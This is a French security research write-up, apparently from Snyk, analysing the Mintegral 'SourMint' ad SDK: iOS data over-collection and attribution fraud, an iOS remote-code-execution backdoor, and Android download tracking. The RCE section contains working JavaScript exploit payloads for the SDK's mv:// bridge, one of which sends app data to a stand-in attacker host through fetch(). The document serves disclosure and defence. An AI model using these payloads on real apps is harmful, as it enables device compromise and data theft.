Étude sur le SDK malveillant SourMint

Vue d’ensemble

Collecte excessive de données sur iOS [août 2020]

Exécution de code à distance (RCE) sur iOS [octobre 2020]

Suivi des téléchargements sur Android [octobre 2020]

Chronologie

Vue d’ensemble

Le SDK Mintegral est un SDK publicitaire populaire pour les applications mobiles, disponible sur iOS et Android. Il est utilisé par des milliers d’applications mobiles, qui totalisent plus d’un milliard de téléchargements par mois. Les développeurs d’applications s’en servent pour monétiser leurs applications grâce à des publicités tierces.

L’équipe de recherche en sécurité de Snyk a publié deux révélations importantes au sujet du SDK Mintegral. La première révélation, publiée en août 2020, a mis au jour une collecte excessive de données et le détournement de clics dans la version iOS du SDK. La seconde révélation a découvert une porte dérobée dans la version iOS du SDK, permettant l’exécution de code à distance, ainsi que de nouveaux éléments concernant la version Android du SDK.

Cet article présente les détails techniques de nos recherches et de nos conclusions, au-delà des informations abordées dans les articles de blog.

Cet article est divisé en trois sections :

• Collecte excessive de données : cette section, publiée initialement le 24 août 2020, décrit les capacités de suivi des URL et des requêtes de la version iOS du SDK Mintegral, y compris l’interception et la journalisation de toutes les requêtes HTTP.

• Une porte dérobée dans la version iOS du SDK permet l’exécution de code à distance : cette section décrit les capacités d’exécution de code à distance de MintegralAdSDK, révélées le 15 octobre 2020.

• Suivi des URL de téléchargement sur Android : cette section décrit différentes découvertes concernant la version Android du SDK Mintegral.

Collecte excessive de données sur iOS [août 2020]

Vue d’ensemble

Cette partie de la recherche a été menée sur la version binaire du SDK Mintegral pour iOS, car la version open source n’était pas encore à notre disposition en août 2020. L’analyse porte sur la version 6.3.5.0 du SDK (architecture x86), disponible en téléchargement sur GitHub.

Nous avons établi que les versions 5.5.1 et ultérieures du SDK Mintegral pour iOS comportent des fonctionnalités malveillantes entraînant des fuites d’informations. En clair, le SDK espionne les clics des utilisateurs sur les liens ainsi que leur activité réseau dans les applications concernées. Cet espionnage a lieu même si le développeur ou la plateforme de médiation publicitaire n’a pas activé le SDK. Celui-ci tente également de dissimuler son comportement malveillant en détectant les proxys, les simulateurs et les appareils jailbreakés.

Swizzling de méthodes

Le SDK Mintegral utilise une technique appelée swizzling de méthodes pour remplacer à l’exécution les implémentations des méthodes UIApplication openURL et SKStoreProductViewController loadProductWithParameters. Il enregistre également une classe personnalisée NSURLProtocol.

Ces hooks servent à espionner les utilisateurs de l’application en envoyant toutes les informations sur les requêtes HTTP, les URL ouvertes et les liens de l’App Store sur lesquels ils cliquent depuis l’application.

Les en-têtes des requêtes HTTP et les URL eux-mêmes peuvent contenir des données sensibles. Associées à l’IDFA (Identifier for Advertisers), ces données permettent à Mintegral de commettre une fraude à l’attribution publicitaire.

Fraude à l’attribution publicitaire

Pour monétiser leurs applications, les développeurs installent souvent des plateformes publicitaires. Celles-ci perçoivent des revenus des annonceurs pour chaque installation réalisée après qu’un utilisateur a cliqué sur leur publicité. Il n’est pas rare que les développeurs utilisent plusieurs plateformes publicitaires dans leurs applications. Pour déterminer à quelle plateforme attribuer une installation, chaque clic est donc enregistré auprès d’un fournisseur d’attribution, une plateforme de mesure mobile (MMP).

La figure ci-dessous montre comment fonctionne la fonctionnalité malveillante de Mintegral. Dans cet exemple, l’utilisateur a cliqué sur une publicité provenant d’« Another Platform ». Mais comme Mintegral peut intercepter toutes les URL ouvertes par l’application, le SDK peut envoyer des requêtes supplémentaires à un fournisseur d’attribution en prétendant que le clic provient de sa propre publicité. Voici comment se déroule le processus :

1. L’utilisateur clique sur un lien dans une publicité intégrée à une application, diffusée par un réseau publicitaire autre que Mintegral, pour installer une nouvelle application depuis l’App Store.

2. Le SDK du réseau publicitaire envoie les informations relatives au clic à sa plateforme back-end.

3. Après avoir intercepté l’événement de clic au moyen de code injecté dans les gestionnaires d’événements iOS par swizzling de méthodes, Mintegral consigne les données du clic sur son serveur.

4. Le réseau publicitaire enregistre une notification de clic auprès du fournisseur d’attribution.

5. Mintegral enregistre également une notification de clic auprès du fournisseur d’attribution.

Lorsque le fournisseur d’attribution tente de faire correspondre l’événement d’installation aux notifications de clic enregistrées, il en trouve deux qui correspondent. Avec un modèle d’attribution au dernier contact, la notification de clic de Mintegral reçoit l’attribution, tandis que celle de l’autre réseau publicitaire est rejetée.

Snyk a collaboré avec un important fournisseur d’attribution pour confirmer que Mintegral exploite les données de clic afin de générer de fausses notifications de clic. Son enquête a permis au fournisseur de démontrer que ces fausses notifications étaient générées et entraînaient une attribution erronée des clics publicitaires à Mintegral.

Application de démonstration

Pour illustrer l’attaque, nous avons configuré une application de démonstration. Elle montrera le hook malveillant openURL en action. Nous utilisons un proxy de débogage pour intercepter tout le trafic réseau.

Pour initialiser l’application, nous utilisons l’extrait de code suivant, tiré de la documentation de Mintegral :

1- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
2    [[MTGSDK sharedInstance] setAppID:@"xxxxxx" ApiKey:@"yyyyyyyyyyyyyyyyyyyyyyyyy"];
3    return YES;
4}

Une fois le SDK initialisé, nous ouvrons example.com depuis l’application en cliquant sur un bouton :

1- (IBAction)openURLWithOptions:(id)sender {
2    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"http://example.com?foo=bar&x=y"] options:@{} completionHandler:nil];
3}

Après le lancement de l’application, nous voyons immédiatement quelques requêtes du SDK Mintegral dans notre proxy :

• GET https://setting.rayjump.com/sdk/customid

• GET https://setting.rayjump.com/setting

• POST https://analytics.rayjump.com

Paramètres

La réponse de _https://setting.rayjump.com/setting est un objet JSON contenant de nombreuses options. Le tableau suivant décrit les champs les plus intéressants pour notre recherche.

* Dans notre cas, il s’agissait de LdxThdi1WBK/WgfPhbxQYkeXHBPwHZKsYFh=, qui correspond à https://n.systemlog.me/log après décodage.

** Dans notre cas, il s’agissait de kBzuJd5/H+i/D+SMY7V/DFKwR0M0D+SMhBPthdSsHZPUYFT0+N==, qui correspond à ["itunes.apple.com","apps.apple.com"] après décodage.

Décodage de la charge utile

Après avoir cliqué sur le bouton qui ouvre example.com, nous voyons deux autres requêtes. La première est une requête GET vers http://example.com, comme prévu. La seconde est une requête POST vers https://n.systemlog.me/log.

Le corps de la requête semble encodé en base64. En réalité, il ne s’agit pas d’une chaîne encodée en base64. Le SDK Mintegral implémente ses propres fonctions d’encodage et de décodage, que l’on trouve dans +[MTGBase base64DecodeString:] et +[MTGBase base64CleverDecodeString:]. Notez que MTGBase n’est pas exposé dans les en-têtes publics du SDK et n’est pas censé être accessible aux développeurs.

Nous utilisons l’extrait de code suivant pour décoder la charge utile :

1Class cls = NSClassFromString(@"MTGBase");
2NSObject *obj = [cls performSelector:NSSelectorFromString(@"base64CleverDecodeString:") withObject:@"THE REQUEST BODY HERE"];
3NSLog(@"%@", obj);

La charge utile contient de nombreuses données, notamment l’IDFA, l’IDFV, la version du système d’exploitation, l’agent utilisateur, etc. Elle contient également un champ nommé « clever », qui est lui aussi encodé. Nous pouvons le décoder à l’aide de base64DecodeString :

1[{'cn': 'ViewController', 'u': 'http://example.com?foo=bar&x=y', 'nid': 0, 'type': '3', 'mn': 'openURLWithOptions:', 'trc': '["2|awesomegame|0x0000000104102f18 -[ViewController openURLWithOptions:] + 152","3|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","4|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","5|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","6|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497"]'}]

Comme vous pouvez le constater, il contient l’URL, la trace de pile et des informations supplémentaires, telles que le contrôleur et le nom de la méthode.

Analyse approfondie

Comme indiqué précédemment, le SDK Mintegral est à code source fermé. Nous allons examiner la version 6.3.5.0 pour l’architecture x86.

Le binaire est un exécutable Mach-O qui contient plusieurs autres binaires. Le code qui nous intéresse se trouve dans _CXX_CXX_OperationPKTask.o.

En examinant la classe, nous trouvons +[_CXX_CXX_OperationPKTask load], qui s’exécute automatiquement lorsque la classe est ajoutée à l’exécution. Cela signifie que si le SDK est installé via CocoaPods, la logique malveillante sera initialisée, que les développeurs utilisent ou non le SDK.

La méthode load effectue une série d’appels qui nous mènent à ___cxxwebk_init_vw. Cette méthode vérifie si l’indicateur de protection anti-débogage est activé et initialise les hooks si cet indicateur est défini sur false ou si le débogage est désactivé.

L’initialisation des hooks dépend de la requête de paramètres mentionnée plus haut. Le tableau suivant montre les correspondances entre les champs JSON de la réponse et la classe MTGSetting :

Logique anti-débogage

La fonction __cxx_cxx_op_isInSuperViewFrame renvoie true dans les cas suivants :

• La plateforme de l’appareil est un « simulateur ».

• Un débogueur est connecté (implémenté dans ____mvpmvvm_isDebuggerAttached_block_invoke).

• L’un des fichiers suivants est présent sur l’appareil (indiquant un jailbreak) :

  • /Applications/Cydia.app

  • /Library/MobileSubstrate/MobileSubstrate.dylib

  • /bin/bash

  • /usr/sbin/sshd

  • /etc/apt

  • /usr/bin/ssh

• Un proxy est activé (à l’aide de CFNetworkCopySystemProxySettings).

Swizzling de la méthode openURL

La logique illustrée dans la capture d’écran suivante est implémentée dans la méthode ___cxxwebkmcouitninapo, appelée depuis ___cxxwebk_init_vw si l’indicateur correspondant est activé.

« blog-sour-mint-openurl-method-swirl » — La capture d’écran ci-dessus montre l’implémentation du swizzling de méthodes. Elle effectue les appels suivants :

1. NSSelectorFromString pour obtenir un sélecteur pour la méthode « openURL: ».

2. NSClassFromString pour obtenir un descripteur de classe pour UIApplication.

3. class_getInstanceMethod pour obtenir le descripteur de méthode.

4. method_getImplementation pour obtenir l’implémentation réelle de la méthode.

5. Ils définissent ensuite un bloc de code qui appelle _____cxxwebkmcouitninapo_block_invoke_2, puis la méthode d’origine openURL.

6. method_setImplementation pour remplacer la méthode openURL d’origine par le bloc de code de l’étape précédente.

La méthode openURL:options:completionHandler: fait l’objet d’un traitement presque identique, à ceci près que la version du système est vérifiée au préalable (le gestionnaire a été introduit pour la première fois dans iOS 10).

Nous avons ainsi vu comment le hook était appliqué. Voyons maintenant son implémentation (_____cxxwebkmcouitninapo_block_invoke_2).

Implémentation du hook openURL

En pratique, l’implémentation se trouve dans la méthode ___cxxwebkmcoulsz. On y trouve un autre appel de vérification anti-débogage, puis la méthode vérifie l’indicateur __mc_notifyInHouse et ne fait rien si sa valeur est égale à 1.

Cette opération sert à ignorer toutes les URL marketing sur lesquelles un utilisateur clique dans une publicité diffusée par Mintegral. La capture d’écran ci-dessous montre la logique correspondante dans +[MTGBase mtgOpenURL:options:completionHandler:] :

L’extrait de code suivant montre également que la trace de pile est sérialisée, puis divulguée dans la charge utile envoyée à https://n.systemlog.me/log.

Nous pouvons placer un point d’arrêt sur l’appel +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]. Les arguments de l’appel sont visibles dans la capture d’écran suivante :

• L’URL ouverte (http://example.com?foo=bar&x=y).

• La classe dans laquelle le clic a eu lieu (ViewController).

• La méthode depuis laquelle le clic a eu lieu (openURLWithOptions:).

• Informations de backtrace.

Une autre fonction intéressante est _nsh_id_by_cc, qui semble chargée d’identifier les SDK concurrents. La logique pertinente est illustrée dans la capture d’écran suivante :

Revenons à +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:] : après avoir encodé la charge utile avec +[MTGBase base64EncodeString:], la fonction crée un nouveau bloc de code et utilise _dispatch_async pour l’exécuter.

Cela entraîne une série d’appels avec des transformations supplémentaires de la charge utile et aboutit à -[_MC_ApiManager AFRequestWithUrl:paras:success:failure:], qui envoie une requête POST à collectDomainUrl de MTGSetting, dont la valeur par défaut est https://n.systemlog.me/log.

Vidéo montrant comment une URL privée peut être divulguée.

Play Video: A demonstration of the SourMint Malicious SDK from Mintegral

Hook de SKStoreProductViewController

SKStoreProductViewController est un contrôleur de vue qui affiche une page permettant à l’utilisateur d’acheter du contenu multimédia sur l’App Store.

La méthode loadProductWithParameters:completionBlock: charge un nouvel écran de produit à afficher.

Plutôt que d’entrer dans les détails techniques de l’implémentation du hook, nous avons ajouté l’extrait de code suivant à l’application de démonstration :

1- (IBAction)openSKStoreProductViewController:(id)sender {
2    SKStoreProductViewController *storeViewController = [[SKStoreProductViewController alloc] init];
3    [storeViewController setDelegate:self];
4    NSDictionary *productParams = @{SKStoreProductParameterITunesItemIdentifier: [NSNumber numberWithInt:1234567890]};
5    [storeViewController loadProductWithParameters:productParams completionBlock:nil];
6

Nous observons alors une requête POST vers https://n.systemlog.me/log, avec la charge utile suivante dans le champ « clever » :

1[{'cn': 'UIApplication', 'mn': 'sendAction:to:from:forEvent:', 'nid': 0, 'aid': '{"id":1234567890}', 'type': '2', 'trc': '["2|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","3|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","4|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","5|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497","6|UIKitCore|0x00007fff49362508 -[UIWindow _sendTouchesForEvent:] + 1359"]', 'dur': 24}] 

Comme nous pouvons le constater, l’ID du produit figure dans la requête. CQFD.

Hook de NSURLProtocol

La classe NSURLProtocol permet aux développeurs de redéfinir le fonctionnement du système de chargement d’URL d’Apple. Le SDK Mintegral enregistre une implémentation malveillante de NSURLProtocol, qui peut être configurée à distance pour intercepter toutes les requêtes sortantes d’une application et suivre les URL ainsi que les en-têtes HTTP, notamment l’en-tête Authorization.

Pour les développeurs d’applications, cela signifie que Mintegral pourrait potentiellement collecter des jetons d’API, des cookies et des en-têtes d’authentification de base.

Pour comprendre comment le SDK active cette partie du code malveillant, nous devons revenir à ___cxxwebk_init_vw.

La capture d’écran ci-dessus montre que l’indicateur cud doit être activé et que le tableau cudl ne doit pas être vide pour activer le hook.

La capture d’écran suivante montre une partie de la fonction ___cxxwebkterisiuuxx, appelée depuis la méthode ci-dessus.

Le code de la fonction ___cxxwebkterisiuuxx effectue les actions suivantes :

1. Crée une classe héritant de NSURLProtocol (objc_registerClassPair, objc_allocateClassPair).

2. Ajoute une implémentation de canInitWithRequest:, qui agit en pratique comme un intercepteur (class_addMethod).

3. Appelle +[NSURLProtocol registerClass:] pour enregistrer la classe auprès du système de chargement d’URL.

Dans le cadre de notre recherche, nous avons ajouté l’extrait de code suivant afin de vérifier quelles données sont collectées par le code malveillant :

1- (IBAction)httpRequestWithURLSession:(id)sender {
2    NSURLSessionConfiguration *sConf = [NSURLSessionConfiguration defaultSessionConfiguration];
3    sConf.HTTPAdditionalHeaders = @{@"Authorization": @"Basic YWRtaW46YWRtaW4K"};
4    NSURLSession *session = [NSURLSession sessionWithConfiguration:sConf];
5    NSMutableURLRequest *req = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://example.com/get-secret-data"]];
6    req.HTTPBody = [@"foo=bar" dataUsingEncoding:NSUTF8StringEncoding];
7    req.HTTPMethod = @"POST";
8    NSURLSessionDataTask *task = [session dataTaskWithRequest:req];
9    [task resume];
10}

Nous observons alors une requête POST vers https://n.systemlog.me/log, avec la charge utile suivante dans le champ « clever » :

1[{'cn': '', 'u': 'http://example.com/get-secret-data', 'mn': '', 'nid': 0, 'hhf': '{"Authorization":"Basic YWRtaW46YWRtaW4K","Content-Length":"7"}', 'type': '1', 'hm': 'POST'}]

Dans la requête, nous pouvons voir l’URL et l’en-tête d’autorisation. Même si le corps de la requête n’est pas inclus, les en-têtes contiennent souvent des données sensibles, qui peuvent même inclure des informations personnelles identifiables. Par exemple, si une API utilise des jetons JWT, ceux-ci peuvent contenir une adresse e-mail ou un nom d’utilisateur.

Conclusion

Au cours de notre recherche, nous avons observé de nombreuses techniques intéressantes utilisées par les développeurs de Mintegral pour dissimuler le comportement malveillant de leur SDK. Comme nous pouvons le constater, les hooks ne sont activés que pour certaines applications dans certaines régions, ce qui a permis au code malveillant de rester présent pendant plus d’un an sans attirer l’attention.

Pour ce qui est de la chronologie, la première version (5.5.1) du SDK malveillant a été publiée le 17 juillet 2019. Nous avons constaté que toutes les versions suivantes comportaient la même fonctionnalité malveillante.

De nombreuses applications populaires ont été touchées par les activités malveillantes de ce SDK. Nous espérons que cette recherche, en mettant en lumière la situation, incitera à renforcer la vigilance et les contrôles de confidentialité des réseaux publicitaires.

Exécution de code à distance (RCE) sur iOS [octobre 2020]

En bref

Nous avons découvert que la classe MTGBaseBridgeWebView, utilisée partout dans le SDK pour communiquer avec JavaScript, agit comme une porte dérobée et permet d’appeler des fonctions arbitraires depuis le code natif de l’application.

L’image ci-dessus présente un schéma simplifié de l’exécution de code à distance.

Analyse des différences

Après notre première divulgation publique, Mintegral a annoncé la publication d’une version open source du SDK.

Nous avons comparé cette nouvelle version open source à la version binaire précédente, distribuée sous forme de cocoapod. Même si nous ne disposions pas du code source de l’ancienne version, nous pouvions comparer les noms de classes. Pour cela, nous avons extrait les fichiers .o des binaires et comparé les symboles aux fichiers .h de la version open source.

Comme prévu, le composant malveillant _CXX_CXX_OperationPKTask découvert précédemment avait bien été supprimé, mais la comparaison a révélé autre chose. Les classes suivantes ont retenu notre attention :

• MTGCommandDispatcher

• MTGComponentCommands

• MTGRemoteCommand

• MTGRemoteCommandParameterModel

• MTGRemoteCommandParser

• MTGInvocationBoxing

Nous avons décidé d’examiner les binaires de plus près pour comprendre à quoi servaient ces fichiers.

Versions concernées

Toutes les versions de MintegralAdSDK antérieures à la version 6.5.0.0 incluse. La version 6.6.0.0, publiée le 10 septembre 2020, ne présente pas la fonctionnalité de porte dérobée décrite dans cet article.

Implémentation du bridge

Nous avons commencé par chercher où la classe MTGRemoteCommandParser était utilisée et n’avons trouvé qu’un seul endroit : -(void)handleNativeObject:parameters:, dans la classe MTGBaseBridgeWebView.

L’implémentation montre que -(void)handleNativeObject:parameters: utilise MTGRemoteCommandParser pour analyser l’argument parameters et appeler la méthode -(void)dispatchCommand:feedback: de la classe MTGCommandDispatcher.

À première vue, -(void)handleNativeObject:parameters: n’est pas utilisée, mais ce n’est pas le cas. Voyons comment l’appeler depuis du code JavaScript.

MTGBaseBridgeWebView implémente la méthode -(void)webView:decidePolicyForNavigationAction:decisionHandler: du protocole WKNavigationDelegate. Cette méthode est appelée à chaque navigation dans la vue Web. Nous pouvons donc la déclencher depuis JavaScript en appelant simplement location.href=something. Dans la version open source du SDK, nous avons trouvé une expression régulière qui analyse les URL des requêtes de navigation : mv://(.+?):(.+?)/(.+?)\\?([\\s\\S]*).

Dans la capture d’écran ci-dessus, -(void)callFunctionWithName:fucId:param: appelle simplement self avec le sélecteur fucName.

Pour appeler -(void)handleNativeObject:parameters: de MTGBaseBridgeWebView, il faut donc utiliser la ligne de code JavaScript suivante : location.href = 'mv://1:fucId/handleNativeObject?<parameters>'.

Veuillez noter que tout ce que nous avons décrit ci-dessus reste valable dans la version la plus récente du SDK à la date de rédaction, ainsi que dans la version open source. La seule exception est que -(void)handleNativeObject:parameters: a été supprimée des dernières versions.

Invocation de méthodes à distance

Nous n’allons pas décrire l’implémentation complète de MTGInvocationBoxing ni des autres classes. Nous allons plutôt montrer comment créer du code JavaScript malveillant pour déclencher la méthode à distance.

La preuve de concept suivante cible une application de « prise de notes » simple, dont la classe NoteRepository comporte deux méthodes : +(void)save: et +(NSString*)load.

Nous injectons le code JavaScript malveillant en remplaçant le serveur Mintegral par notre propre implémentation. Le code source complet de cette application et du serveur est disponible ici .

Voici le code JavaScript malveillant utilisé pour cette application :

1window.WindVane = {
2     onSuccess: function (_, data) {
3         fetch('https://demo-evil-server.com/log?data=' + encodeURIComponent(atob(data)));
4     }
5 };
6
7location.href = 'mv://1:fucId/handleNativeObject?{"uniqueIdentifier":"hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP","name":"Y7KtHv==","result":{"type":3}}';

Ce code appelle la méthode +(NSString*)load de la classe NoteRepository et envoie le résultat à notre point de terminaison demo-evil-server.com/log.

Il utilise les mêmes techniques d’obfuscation que celles décrites dans la section précédente. Toutefois, la preuve de concept inclut déjà du code JavaScript permettant l’encodage et le décodage (voir banner.html).

Obtenir une exécution de code à distance (RCE) complète

Dans l’exemple ci-dessus, nous avons vu comment le SDK peut servir à appeler n’importe quelle méthode statique d’une classe arbitraire. Dans cette section, nous allons montrer comment exploiter cette capacité pour exécuter n’importe quel code natif.

À titre de démonstration, nous allons montrer comment créer un UIAlertController affichant le message « PWNED! ».

Prenons le code Objective-C suivant comme référence :

1UIAlertController *alert = [[UIAlertController alloc] init];
2[alert setMessage:@"PWNED!"];
3[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alert animated:YES completion:nil];

Nous devons trouver comment créer et conserver une instance de UIAlertController entre les appels, comment obtenir une instance partagée de l’application et comment appeler presentViewController:animated:completion: avec cette instance.

Étape 1 : enregistrer une référence à la classe UIAlertController

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
3    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
4    'parameters': [
5        {
6            'type': 1,
7            'value': {'uniqueIdentifier': 'hbxtJ7QU+25zNkeQhgxaYFPThrKsY75B'} // static_UIAlertController
8        },
9        {'type': 2, 'value': 'a' }
10    ]
11});

MTGRemoteCommandParser prend en charge deux types de références d’objets :

• static : récupère une référence à un objet de classe à partir de son nom.

• singleton : effectue plusieurs étapes :

  1. Récupère une classe à partir de son nom (MTGSetting dans notre exemple).

  2. Exécute la méthode sharedInstance sur la classe. En Objective-C : [MTGSetting sharedInstance].

  3. Utilise valueForKey: pour récupérer des propriétés séparées par des points. Dans notre cas, il s’agit de [[MTGSetting sharedInstance] valueForKey:@"jsonTitles"].

Notez que jsonTitles est simplement une instance de NSMutableDictionary. Dans l’exploit, elle sert de stockage temporaire pour nos références. MTGRemoteCommandParser prend en charge les types de paramètres suivants :

• 0 : nombre.

• 1 : référence.

• 2 : chaîne.

• 4 : nil.

Le type référence (1) nous permet de transmettre une référence à un objet en argument d’une méthode. À noter que uniqueIdentifier est analysé exactement comme un uniqueIdentifier de premier niveau ; le type singleton est donc également pris en charge.

Étape 2 : allouer une nouvelle instance de la classe UIAlertController

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
3    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
4    'parameters': [
5        {
6            'type': 1,
7            // singleton_MTGSetting.jsonTitles.a.alloc.init
8            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBPtWrcsY7KUWrQ\/L+N='}
9        },
10        {'type': 2, 'value': 'b'}
11    ]
12});

Dans ce cas, tout se joue dans singleton_MTGSetting.jsonTitles.a.alloc.init. Comme nous le savons déjà, singleton_MTGSetting.jsonTitles.a nous fournit une référence à la classe UIAlertController. Mais il nous faut comprendre pourquoi [[UIAlertController valueForKey:@"alloc"] valueForKey:@"init"] fonctionne. La documentation de valueForKey: nous apprend que :

Le modèle de recherche utilisé par valueForKey: pour trouver la valeur à renvoyer est décrit dans les modèles de recherche des accesseurs du document Guide de programmation du codage clé-valeur.

Nous avons découvert que valueForKey: peut appeler n’importe quelle méthode par son nom, à condition qu’elle ne prenne aucun argument.

Nous pouvons donc maintenant créer une nouvelle instance de la classe UIAlertController, à laquelle fera référence la propriété b du dictionnaire jsonTitles.

Étape 3 : définir le message « PWNED! »

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0', // singleton_MTGSetting.jsonTitles.b
3    'name': 'hF5Tnk5AhFcgHnE=', // setMessage:
4    'parameters': [{'type': 2, 'value': 'PWNED!'}]
5});

Cette étape est assez évidente : nous appelons setMessage: sur l’instance UIAlertController pour définir le message PWNED!.

Étape 4 : enregistrer une référence à la classe UIApplication

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
3    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=',
4    'parameters': [
5        {'type': 1, 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zN+SMY7QUD+xuYF9='}}, // static_UIApplication
6        {'type': 2, 'value': 'x' }
7    ]
8});

Cette étape est semblable à la première. Nous devons enregistrer la référence à la classe UIApplication dans jsonTitles.x.

Étape 5 : afficher l’alerte

1location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
2    // singleton_MTGSetting.jsonTitles.x.sharedApplication.keyWindow.rootViewController
3    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP9WgfED+zQHjcMh7euDFcTLkK\/WrwQ45JuYrxXJBPBYFKT5rQQJTfXYgxBYFesH+R=',
4    // presentViewController:animated:completion:
5    'name': 'hdzQhF5\/JcHuH+JaYFPThrKsY75BGrc\/Lk2tJ753GrfXY+SsH+xuYF91',
6    'parameters': [
7        {
8            'type': 1,
9            // singleton_MTGSetting.jsonTitles.b
10            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0'}
11        },
12        {'type': 0, 'value': 1},
13        {'type': 4} // nil
14    ]
15});

Cette étape semble complexe, mais elle fait simplement appel à diverses techniques présentées dans les étapes précédentes. En Objective-C, le code serait le suivant :

1[MTGSetting.sharedInstance.jsonTitles.x.sharedApplication.keyWindow.rootViewController
2    presentViewController:MTGSetting.sharedInstance.jsonTitles.b // this is out instance of UIAlertController
3    animated: 1
4    completion: nil
5];

Nous avons maintenant montré comment afficher une alerte à l’aide d’une exécution de code à distance. Vous trouverez la charge utile complète ici. Pour appeler les étapes une par une, nous avons créé un tableau d’actions et exécuté chaque action dans le rappel window.WindVane.onSuccess (à chaque fois après l’achèvement de l’action précédente).

Vidéo montrant comment le contenu du presse-papiers peut être divulgué en diffusant l’exploit par le biais d’une publicité malveillante.

Play Video: Remote Code Execution using Mintegral's MTGInvocationBoxing

Source de l’exploit JavaScript

Nous avons déjà vu comment le SDK Mintegral permet l’exécution de code natif à distance via du code JavaScript. Toutefois, ce code JavaScript est entièrement détenu et contrôlé par Mintegral. Mais, fait intéressant, il est possible d’obtenir le même résultat au moyen de publicités interactives créées par les annonceurs eux-mêmes. Ces publicités sont des pages Web basées sur JavaScript.

En théorie, un annonceur peut cibler précisément un groupe d’utilisateurs ou un ensemble d’appareils en diffusant une publicité malveillante contenant l’exploit JavaScript.

Conclusion

Nous ne pouvons que spéculer sur les raisons pour lesquelles Mintegral a intégré à son SDK la possibilité d’invoquer des méthodes natives à distance. Toutefois, au vu du nom de classes telles que MTGCommandDispatcher et MTGRemoteCommand, nous pensons que cette fonctionnalité était intentionnelle. De plus, Mintegral a supprimé le code immédiatement après notre publication, alors même que nous n’en avions pas connaissance à l’époque.

Suivi des téléchargements sur Android [octobre 2020]

Présentation

Dans les deux sections précédentes de cet article de recherche, nous avons expliqué comment l’équipe de sécurité de Snyk a découvert des comportements malveillants dans le SDK Mintegral, exploitables sur les appareils iOS et pouvant entraîner une fraude publicitaire, une fuite de données et l’exécution de code à distance (RCE). Nous avons voulu approfondir nos recherches sur la version Android du SDK, sujet de cette section. Voici, en résumé, nos principales conclusions :

1. Suivi des URI de téléchargement depuis Google, concernant les téléchargements dans les navigateurs et les applications, y compris les téléchargements de fichiers classiques, les pièces jointes aux e-mails et les liens Google Docs.

2. Suivi de tous les téléchargements d’APK, qu’ils soient organiques ou non.

Ces données sont envoyées aux serveurs de Mintegral.

Comportement observé

Lors du téléchargement d’un fichier à partir d’un lien Google Docs, nous avons remarqué que l’application envoyait les requêtes suivantes à https://n.systemlog.me :

Il s’agit du même point de terminaison que celui utilisé dans le SDK iOS pour transmettre des données au serveur Mintegral. La charge utile est encodée, mais nous pouvons utiliser la logique de décodage intégrée au binaire du SDK pour obtenir ce qui suit :

1p =  clever=kbs0hoR1R0RsRgD0G0R0Woz2YoR1kBzEJdxMhAuhW2MXH7KUhBPgYFKgY7V%2FDFKw%2BoKAhdzQDkxAL75QJdfhWF59h7KBJaKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrR0M0LdxThdi1%2BoKhWFxXDBTMfo20DB2AL75QJdi%2FHFKXHFeQJ%2BfQhrfXYgxQYgN%2FDFKw%2BoKQ4dSXhgxhWFM2YavAG%2BiFYr32J%2B5whkzALUQXincsYkxU%2BoKuGatrLbf%2FYAcsYbfefAiAJ7wuHkwtf7JqL2MXinDMiUVPia3eiavMicMXinv9in32fAvPiaRPiajFiURPfavA%2BoIq%2BoIeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZnKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrRQTsRrwbRUE0hF5Uhr5TWgS3H0RsRrHsRUE0inRTf0zK%2BN%3D%3D
2app_id=118690
